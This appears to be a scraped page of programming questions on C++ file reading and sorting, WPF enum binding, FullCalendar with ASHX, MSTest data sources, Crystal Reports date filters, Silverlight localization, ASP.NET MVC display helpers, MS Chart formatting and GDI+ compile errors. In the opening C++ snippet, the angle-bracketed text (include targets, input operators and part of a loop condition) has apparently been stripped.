  include include include include using namespace std; struct productJewelry { string name; double amount; int itemCode; double size; string group; }; int main() { // declare variables ifstream inFile; int count=0; int x=0; productJewelry product[50]; inFile.open("jewelry.txt"); // file must be in same folder if (inFile.fail()) cout << "failed"; cout << fixed << showpoint; // fixed format, two decimal places cout << setprecision(2); while (inFile.peek() != EOF) { // cout << count << " : "; count++; inFile product[x].itemCode; inFile product[x].name; inFile product[x].size; inFile product[x].amount; inFile product[x].group; // cout << product[x].itemCode << ", " << product[x].name << ", "<< product[x].size << ", " << product[x].amount << endl; x++; if (inFile.peek() == '\n') inFile.ignore(1, '\n'); } inFile.close(); string temp; bool swap; do { swap = false; for (int x=0; xproduct[x+1].name) { //these 3 lines are to swap elements in array temp=product[x].name; product[x].name=product[x+1].name; product[x+1].name=temp; swap=true; } } } while (swap); for (x=0; x< count; x++) { //cout<< product[x].itemCode<<" "; //cout<< product[x].name <<" "; //cout<< product[x].size <<" "; //cout<< product[x].amount<<" "; //cout<< product[x].group<<" "<<endl; } system("pause"); // to freeze Dev-c++ output screen return 0; } // end main

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• WPF binding ComboBox to enum (with a twist)

  - by Carlo

  Well the problem is that I have this enum, BUT I don't want the combobox to show the values of the enum. This is the enum: public enum Mode { [Description("Display active only")] Active, [Description("Display selected only")] Selected, [Description("Display active and selected")] ActiveAndSelected } So in the ComboBox instead of displaying Active, Selected or ActiveAndSelected, I want to display the DescriptionProperty for each value of the enum. I do have an extension method called GetDescription() for the enum: public static string GetDescription(this Enum enumObj) { FieldInfo fieldInfo = enumObj.GetType().GetField(enumObj.ToString()); object[] attribArray = fieldInfo.GetCustomAttributes(false); if (attribArray.Length == 0) { return enumObj.ToString(); } else { DescriptionAttribute attrib = attribArray[0] as DescriptionAttribute; return attrib.Description; } } So is there a way I can bind the enum to the ComboBox AND show it's content with the GetDescription extension method? Thanks!

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• FullCalendar events from asp.net ASHX page not displaying

  - by Steve Howard

  Hi I have been trying to add some events to the fullCalendar using a call to a ASHX page using the following code. Page script: <script type="text/javascript"> $(document).ready(function() { $('#calendar').fullCalendar({ header: { left: 'prev,next today', center: 'title', right: 'month, agendaWeek,agendaDay' }, events: 'FullCalendarEvents.ashx' }) }); c# code: public class EventsData { public int id { get; set; } public string title { get; set; } public string start { get; set; } public string end { get; set; } public string url { get; set; } public int accountId { get; set; } } public class FullCalendarEvents : IHttpHandler { private static List<EventsData> testEventsData = new List<EventsData> { new EventsData {accountId = 0, title = "test 1", start = DateTime.Now.ToString("yyyy-MM-dd"), id=0}, new EventsData{ accountId = 1, title="test 2", start = DateTime.Now.AddHours(2).ToString("yyyy-MM-dd"), id=2} }; public void ProcessRequest(HttpContext context) { context.Response.ContentType = "application/json."; context.Response.Write(GetEventData()); } private string GetEventData() { List<EventsData> ed = testEventsData; StringBuilder sb = new StringBuilder(); sb.Append("["); foreach (var data in ed) { sb.Append("{"); sb.Append(string.Format("id: {0},", data.id)); sb.Append(string.Format("title:'{0}',", data.title)); sb.Append(string.Format("start: '{0}',", data.start)); sb.Append("allDay: false"); sb.Append("},"); } sb.Remove(sb.Length - 1, 1); sb.Append("]"); return sb.ToString(); } } The ASHX page gets called and returnd the following data: [{id: 0,title:'test 1',start: '2010-06-07',allDay: false},{id: 2,title:'test 2',start: '2010-06-07',allDay: false}] The call to the ASHX page does not display any results, but if I paste the values returned directly into the events it displays correctly. I am I have been trying to get this code to work for a day now and I can't see why the events are not getting set. Any help or advise on how I can get this to work would be appreciated. Steve

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• Problems with data driven testing in MSTest

  - by severj3

  Hello, I am trying to get data driven testing to work in C# with MSTest/Selenium. Here is a sample of some of my code trying to set it up: [TestClass] public class NewTest { private ISelenium selenium; private StringBuilder verificationErrors; [DeploymentItem("GoogleTestData.xls")] [DataSource("System.Data.OleDb", "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=GoogleTestData.xls;Persist Security Info=False;Extended Properties='Excel 8.0'", "TestSearches$", DataAccessMethod.Sequential)] [TestMethod] public void GoogleTest() { selenium = new DefaultSelenium("localhost", 4444, "*iehta", http://www.google.com); selenium.Start(); verificationErrors = new StringBuilder(); var searchingTerm = TestContext.DataRow["SearchingString"].ToString(); var expectedResult = TestContext.DataRow["ExpectedTextResults"].ToString(); Here's my error: Error 3 An object reference is required for the non-static field, method, or property 'Microsoft.VisualStudio.TestTools.UnitTesting.TestContext.DataRow.get' E:\Projects\SeleniumProject\SeleniumProject\MaverickTest.cs 32 33 SeleniumProject The error is underlining the "TestContext.DataRow" part of both statements. I've really been struggling with this one, thanks!

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• How to get C# Enum description from value?

  - by davekaro

  I have an enum with Description attributes like this: public enum MyEnum { Name1 = 1, [Description("Here is another")] HereIsAnother = 2, [Description("Last one")] LastOne = 3 } I found this bit of code for retrieving the description based on an Enum public static string GetEnumDescription(Enum value) { FieldInfo fi = value.GetType().GetField(value.ToString()); DescriptionAttribute[] attributes = (DescriptionAttribute[])fi.GetCustomAttributes( typeof(DescriptionAttribute), false); if (attributes != null && attributes.Length > 0) return attributes[0].Description; else return value.ToString(); } This allows me to write code like: var myEnumDescriptions = from MyEnum n in Enum.GetValues(typeof(MyEnum)) select new { ID = (int)n, Name = Enumerations.GetEnumDescription(n) }; What I want to do is if I know the enum value (e.g. 1) - how can I retrieve the description? In other words, how can I convert an integer into an "Enum value" to pass to my GetDescription method?

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• filter data between 2 dates in crystal report vb.net

  - by irienaoki0407

  I need some help for creating Crystal Reports in VB 2005. I want to filter data between two dates (like from date and to date) with datetimepicker. I'm using SQL Server 2000 for the connection. Update: Thanks for the link, but I'm trying using record selection formula.... Here's my code: Try Dim cryRpt As New ReportDocument With cryRpt .FileName = ("C:\Documents and Settings\Ratna Ayu\My Documents\Visual Studio 2005\Projects\Denda\Denda\CrystalReport1.rpt") .RecordSelectionFormula = "{pinjam.tglkembali}>='" & DateTimePicker1.Value.ToString("dd/MM/yyyy") & "' and {pinjam.tglkembali} =<'" & DateTimePicker2.Value.ToString("dd/MM/yyyy") & "'" End With CrystalReportViewer1.ReportSource = cryRpt CrystalReportViewer1.Refresh() Catch ex As Exception MsgBox("tdk ada data", , "") End Try

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• Localization in Silverlight 4 using ResourceWrapper

  - by Artur

  I have a business application (created from template) and I can change language dynamically by making ResourceWrapper INotifyPropertyChanged and then adding in code: private void Language_SelectionChanged(object sender, SelectionChangedEventArgs e) { Thread.CurrentThread.CurrentCulture = new CultureInfo(((ComboBoxItem)((ComboBox)sender).SelectedItem).Tag.ToString()); Thread.CurrentThread.CurrentUICulture = new CultureInfo(((ComboBoxItem)((ComboBox)sender).SelectedItem).Tag.ToString()); ((ResourceWrapper)App.Current.Resources["ResourceWrapper"]).ApplicationStrings = new ApplicationStrings(); } this works fine on resources referenced/binded in xaml files (i.e. MainPage frame), but it does not update references of anything I have declared in code i.e. InfoLabel.Content = ApplicationStrings.SomeString At the moment I'm not using ResourceWrapper. My question here is how can I change my code so it uses it and updates when ResourceWrapper change. I tried: InfoLabel.Content = ((ResourceWrapper)App.Current.Resources["ResourceWrapper"]) .ApplicationStrings.SomeString but it doesn't work. Any ideas?

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• ASP.NET MVC Html.Display() using ViewData?

  - by JK

  When I use Html.DisplayFor() using a property of the model, it comes out nicely with both a label for the property name and a textbox or label with the property value: Html.DisplayFor(model => model.FirstName) // renders as First Name: Joe Smith But if I try to use the same for something that is in ViewData, it doesn't seem to have any way to specify the text that will be used in the label in the rendered html: Html.Display(ViewData["something"].ToString()) // renders as (no label) something The other Html.Display() parameters don't look helpful: Html.Display(ViewData["something"].ToString(), "TemplateName", "HtmlElementId", {additionalData}) It looks like the only place I might pass the label is with the additionalData param, but I haven't found any examples or docs on how to do this.

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• Write a function that compares two strings and returns a third string containing only the letters th

  - by Pritam

  Hi All, I got this homework. And have solved it in following way. I need your comments whether it is a good approach or I need to use any other data sturcture to solve it in better way. public string ReturnCommon(string firstString, string scndString) { StringBuilder newStb = new StringBuilder(); if (firstString != null && scndString != null) { foreach (char ichar in firstString) { if (!newStb.ToString().Contains(ichar) && scndString.Contains(ichar)) newStb.Append(ichar); } } return newStb.ToString(); }

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• MS Chart control with WPF C#

  - by Birgir Hrafn Sigurðsson

  Hello, Ive got a MS Chart control and it works just fine except that I can't figure out how to "format" the Y-Axis. I am adding a lot of double numbers into a Serie but when the double numb are actually whole numbers (20.000000.....) the Y-Axis on my chart shows 20. example: this serie : 12.32 11.00 10.13 would actually show up like this: 12.32 11 10.13 I have tried formatting the data as I insert it into the serie like this: serie.Points.AddXY(date.ToString(),double[i].ToString("##.##")); but that doesn't seem to work. I've tried to search for a place to format it in Chart.Series[0].* and Chart.ChartAreas[0].* but I didn't find it there. Thanks in advance, Regards, Birgir Hrafn

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• Having trouble compiling with GDI+ (VC++ 2008)

  - by user146780

  I just simply include gdiplus.h and get all these errors: Warning 32 warning C4229: anachronism used : modifiers on data are ignored c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 1133 Warning 38 warning C4229: anachronism used : modifiers on data are ignored c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 1139 Warning 49 warning C4229: anachronism used : modifiers on data are ignored c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 1286 Warning 55 warning C4229: anachronism used : modifiers on data are ignored c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 1292 Warning 61 warning C4229: anachronism used : modifiers on data are ignored c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 2224 Warning 68 warning C4229: anachronism used : modifiers on data are ignored c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 2262 Warning 74 warning C4229: anachronism used : modifiers on data are ignored c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 2310 Warning 82 warning C4229: anachronism used : modifiers on data are ignored c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 2321 Error 112 fatal error C1003: error count exceeds 100; stopping compilation c:\program files\microsoft sdks\windows\v7.0\include\gdiplusmetafile.h 236 Error 1 error C4430: missing type specifier - int assumed. Note: C++ does not support default-int c:\program files\microsoft sdks\windows\v7.0\include\gdiplusimaging.h 74 Error 7 error C4430: missing type specifier - int assumed. Note: C++ does not support default-int c:\program files\microsoft sdks\windows\v7.0\include\gdiplusimaging.h 280 Error 8 error C4430: missing type specifier - int assumed. Note: C++ does not support default-int c:\program files\microsoft sdks\windows\v7.0\include\gdiplusimaging.h 280 Error 94 error C2761: '{ctor}' : member function redeclaration not allowed c:\program files\microsoft sdks\windows\v7.0\include\gdiplusmetafile.h 195 Error 102 error C2761: '{ctor}' : member function redeclaration not allowed c:\program files\microsoft sdks\windows\v7.0\include\gdiplusmetafile.h 212 Error 110 error C2761: '{ctor}' : member function redeclaration not allowed c:\program files\microsoft sdks\windows\v7.0\include\gdiplusmetafile.h 231 Error 21 error C2535: 'Gdiplus::Metafile::Metafile(void)' : member function already defined or declared c:\program files\microsoft sdks\windows\v7.0\include\gdiplusheaders.h 813 Error 23 error C2535: 'Gdiplus::Metafile::Metafile(void)' : member function already defined or declared c:\program files\microsoft sdks\windows\v7.0\include\gdiplusheaders.h 820 Error 25 error C2535: 'Gdiplus::Metafile::Metafile(void)' : member function already defined or declared c:\program files\microsoft sdks\windows\v7.0\include\gdiplusheaders.h 829 Error 27 error C2535: 'Gdiplus::Metafile::Metafile(void)' : member function already defined or declared c:\program files\microsoft sdks\windows\v7.0\include\gdiplusheaders.h 923 Error 16 error C2535: 'Gdiplus::Image::Image(void)' : member function already defined or declared c:\program files\microsoft sdks\windows\v7.0\include\gdiplusheaders.h 471 Error 4 error C2470: 'IImageBytes' : looks like a function definition, but there is no parameter list; skipping apparent body c:\program files\microsoft sdks\windows\v7.0\include\gdiplusimaging.h 74 Error 89 error C2448: 'Gdiplus::Metafile::{ctor}' : function-style initializer appears to be a function definition c:\program files\microsoft sdks\windows\v7.0\include\gdiplusmetafile.h 76 Error 97 error C2447: '{' : missing function header (old-style formal list?) c:\program files\microsoft sdks\windows\v7.0\include\gdiplusmetafile.h 199 Error 105 error C2447: '{' : missing function header (old-style formal list?) c:\program files\microsoft sdks\windows\v7.0\include\gdiplusmetafile.h 218 Error 2 error C2440: 'initializing' : cannot convert from 'const char [37]' to 'int' c:\program files\microsoft sdks\windows\v7.0\include\gdiplusimaging.h 74 Error 72 error C2275: 'HDC' : illegal use of this type as an expression c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 2310 Error 76 error C2275: 'HDC' : illegal use of this type as an expression c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 2310 Error 80 error C2275: 'HDC' : illegal use of this type as an expression c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 2321 Error 84 error C2275: 'HDC' : illegal use of this type as an expression c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 2321 Error 92 error C2275: 'HDC' : illegal use of this type as an expression c:\program files\microsoft sdks\windows\v7.0\include\gdiplusmetafile.h 195 Error 100 error C2275: 'HDC' : illegal use of this type as an expression c:\program files\microsoft sdks\windows\v7.0\include\gdiplusmetafile.h 212 Error 108 error C2275: 'HDC' : illegal use of this type as an expression c:\program files\microsoft sdks\windows\v7.0\include\gdiplusmetafile.h 231 Error 60 error C2275: 'Gdiplus::MetafileHeader' : illegal use of this type as an expression c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 2224 Error 67 error C2275: 'Gdiplus::GpMetafile' : illegal use of this type as an expression c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 2262 Error 31 error C2275: 'Gdiplus::GpImage' : illegal use of this type as an expression c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 1133 Error 37 error C2275: 'Gdiplus::GpImage' : illegal use of this type as an expression c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 1139 Error 48 error C2275: 'Gdiplus::GpBitmap' : illegal use of this type as an expression c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 1286 Error 54 error C2275: 'Gdiplus::GpBitmap' : illegal use of this type as an expression c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 1292 Error 3 error C2146: syntax error : missing ';' before identifier 'IImageBytes' c:\program files\microsoft sdks\windows\v7.0\include\gdiplusimaging.h 74 Error 6 error C2146: syntax error : missing ';' before identifier 'id' c:\program files\microsoft sdks\windows\v7.0\include\gdiplusimaging.h 280 Error 73 error C2146: syntax error : missing ')' before identifier 'referenceHdc' c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 2310 Error 81 error C2146: syntax error : missing ')' before identifier 'referenceHdc' c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 2321 Error 93 error C2146: syntax error : missing ')' before identifier 'referenceHdc' c:\program files\microsoft sdks\windows\v7.0\include\gdiplusmetafile.h 195 Error 101 error C2146: syntax error : missing ')' before identifier 'referenceHdc' c:\program files\microsoft sdks\windows\v7.0\include\gdiplusmetafile.h 212 Error 109 error C2146: syntax error : missing ')' before identifier 'referenceHdc' c:\program files\microsoft sdks\windows\v7.0\include\gdiplusmetafile.h 231 Error 96 error C2143: syntax error : missing ';' before '{' c:\program files\microsoft sdks\windows\v7.0\include\gdiplusmetafile.h 199 Error 104 error C2143: syntax error : missing ';' before '{' c:\program files\microsoft sdks\windows\v7.0\include\gdiplusmetafile.h 218 Error 33 error C2078: too many initializers c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 1133 Error 39 error C2078: too many initializers c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 1139 Error 50 error C2078: too many initializers c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 1286 Error 56 error C2078: too many initializers c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 1292 Error 62 error C2078: too many initializers c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 2224 Error 69 error C2078: too many initializers c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 2262 Error 75 error C2078: too many initializers c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 2310 Error 83 error C2078: too many initializers c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 2321 Error 29 error C2065: 'stream' : undeclared identifier c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 1133 Error 35 error C2065: 'stream' : undeclared identifier c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 1139 Error 46 error C2065: 'stream' : undeclared identifier c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 1286 Error 52 error C2065: 'stream' : undeclared identifier c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 1292 Error 58 error C2065: 'stream' : undeclared identifier c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 2222 Error 65 error C2065: 'stream' : undeclared identifier c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 2262 Error 71 error C2065: 'stream' : undeclared identifier c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 2309 Error 79 error C2065: 'stream' : undeclared identifier c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 2320 Error 88 error C2065: 'stream' : undeclared identifier c:\program files\microsoft sdks\windows\v7.0\include\gdiplusmetafile.h 75 Error 91 error C2065: 'stream' : undeclared identifier c:\program files\microsoft sdks\windows\v7.0\include\gdiplusmetafile.h 194 Error 99 error C2065: 'stream' : undeclared identifier c:\program files\microsoft sdks\windows\v7.0\include\gdiplusmetafile.h 211 Error 107 error C2065: 'stream' : undeclared identifier c:\program files\microsoft sdks\windows\v7.0\include\gdiplusmetafile.h 230 Error 66 error C2065: 'metafile' : undeclared identifier c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 2262 Error 28 error C2065: 'IStream' : undeclared identifier c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 1133 Error 34 error C2065: 'IStream' : undeclared identifier c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 1139 Error 45 error C2065: 'IStream' : undeclared identifier c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 1286 Error 51 error C2065: 'IStream' : undeclared identifier c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 1292 Error 57 error C2065: 'IStream' : undeclared identifier c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 2222 Error 64 error C2065: 'IStream' : undeclared identifier c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 2262 Error 70 error C2065: 'IStream' : undeclared identifier c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 2309 Error 78 error C2065: 'IStream' : undeclared identifier c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 2320 Error 87 error C2065: 'IStream' : undeclared identifier c:\program files\microsoft sdks\windows\v7.0\include\gdiplusmetafile.h 75 Error 90 error C2065: 'IStream' : undeclared identifier c:\program files\microsoft sdks\windows\v7.0\include\gdiplusmetafile.h 194 Error 98 error C2065: 'IStream' : undeclared identifier c:\program files\microsoft sdks\windows\v7.0\include\gdiplusmetafile.h 211 Error 106 error C2065: 'IStream' : undeclared identifier c:\program files\microsoft sdks\windows\v7.0\include\gdiplusmetafile.h 230 Error 30 error C2065: 'image' : undeclared identifier c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 1133 Error 36 error C2065: 'image' : undeclared identifier c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 1139 Error 59 error C2065: 'header' : undeclared identifier c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 2224 Error 47 error C2065: 'bitmap' : undeclared identifier c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 1286 Error 53 error C2065: 'bitmap' : undeclared identifier c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 1292 Error 12 error C2061: syntax error : identifier 'PROPID' c:\program files\microsoft sdks\windows\v7.0\include\gdiplusheaders.h 443 Error 13 error C2061: syntax error : identifier 'PROPID' c:\program files\microsoft sdks\windows\v7.0\include\gdiplusheaders.h 444 Error 14 error C2061: syntax error : identifier 'PROPID' c:\program files\microsoft sdks\windows\v7.0\include\gdiplusheaders.h 445 Error 15 error C2061: syntax error : identifier 'PROPID' c:\program files\microsoft sdks\windows\v7.0\include\gdiplusheaders.h 453 Error 41 error C2061: syntax error : identifier 'PROPID' c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 1244 Error 42 error C2061: syntax error : identifier 'PROPID' c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 1247 Error 43 error C2061: syntax error : identifier 'PROPID' c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 1250 Error 44 error C2061: syntax error : identifier 'PROPID' c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 1262 Error 9 error C2061: syntax error : identifier 'IStream' c:\program files\microsoft sdks\windows\v7.0\include\gdiplusheaders.h 384 Error 10 error C2061: syntax error : identifier 'IStream' c:\program files\microsoft sdks\windows\v7.0\include\gdiplusheaders.h 395 Error 11 error C2061: syntax error : identifier 'IStream' c:\program files\microsoft sdks\windows\v7.0\include\gdiplusheaders.h 405 Error 17 error C2061: syntax error : identifier 'IStream' c:\program files\microsoft sdks\windows\v7.0\include\gdiplusheaders.h 505 Error 18 error C2061: syntax error : identifier 'IStream' c:\program files\microsoft sdks\windows\v7.0\include\gdiplusheaders.h 516 Error 19 error C2061: syntax error : identifier 'IStream' c:\program files\microsoft sdks\windows\v7.0\include\gdiplusheaders.h 758 Error 20 error C2061: syntax error : identifier 'IStream' c:\program files\microsoft sdks\windows\v7.0\include\gdiplusheaders.h 813 Error 22 error C2061: syntax error : identifier 'IStream' c:\program files\microsoft sdks\windows\v7.0\include\gdiplusheaders.h 820 Error 24 error C2061: syntax error : identifier 'IStream' c:\program files\microsoft sdks\windows\v7.0\include\gdiplusheaders.h 829 Error 26 error C2061: syntax error : identifier 'IStream' c:\program files\microsoft sdks\windows\v7.0\include\gdiplusheaders.h 855 Error 40 error C2061: syntax error : identifier 'IStream' c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 1156 Error 63 error C2061: syntax error : identifier 'IStream' c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 2242 Error 86 error C2061: syntax error : identifier 'byte' c:\program files\microsoft sdks\windows\v7.0\include\gdipluspath.h 133 Error 5 error C2059: syntax error : 'public' c:\program files\microsoft sdks\windows\v7.0\include\gdiplusimaging.h 74 Error 77 error C2059: syntax error : ')' c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 2316 Error 85 error C2059: syntax error : ')' c:\program files\microsoft sdks\windows\v7.0\include\gdiplusflat.h 2327 Error 95 error C2059: syntax error : ')' c:\program files\microsoft sdks\windows\v7.0\include\gdiplusmetafile.h 198 Error 103 error C2059: syntax error : ')' c:\program files\microsoft sdks\windows\v7.0\include\gdiplusmetafile.h 217 Error 111 error C2059: syntax error : ')' c:\program files\microsoft sdks\windows\v7.0\include\gdiplusmetafile.h 236 I tried updating my sdk to 7.0 but it did not help. I'm not even making any calls to the API. Thanks

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